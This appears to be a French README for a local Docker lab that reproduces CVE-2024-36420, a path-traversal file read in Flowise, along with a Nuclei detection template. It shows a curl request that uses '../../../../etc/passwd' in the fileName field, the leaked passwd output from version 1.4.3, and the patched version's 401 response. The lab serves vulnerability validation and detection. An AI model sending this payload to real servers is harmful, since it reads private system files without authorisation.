
Laboratoire de reproduction local et modèle Nuclei pour CVE-2024-36420, une vulnérabilité de lecture arbitraire de fichiers dans Flowise via le paramètre fileName non nettoyé. Valide le comportement vulnérable (1.4.3) et corrigé (3.1.2).
Laboratoire de reproduction local et brouillon de template nuclei pour CVE-2024-36420 affectant Flowise.
CVE-2024-36420 est une lecture arbitraire de fichiers dans Flowise causée par l'utilisation non nettoyée du paramètre body fileName dans :
POST /api/v1/openai-assistants-fileCe laboratoire a été utilisé pour valider :
flowiseai/flowise:1.4.3flowiseai/flowise:3.1.2docker-compose.ymldocker-compose.latest.ymlCVE-2024-36420.yamlDémarrer Flowise 1.4.3 :
docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise
Vérification manuelle :
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
Réponse vulnérable observée :
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
Démarrer Flowise plus récent 3.1.2 :
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise
Vérification manuelle :
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
Réponse de la version plus récente observée :
HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}
Valider le template :
nuclei -duc -validate -t CVE-2024-36420.yaml
Exécuter contre la cible vulnérable :
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml
Comportement attendu :
1.4.3 : correspondance3.1.2 : pas de correspondance1.4.33.1.2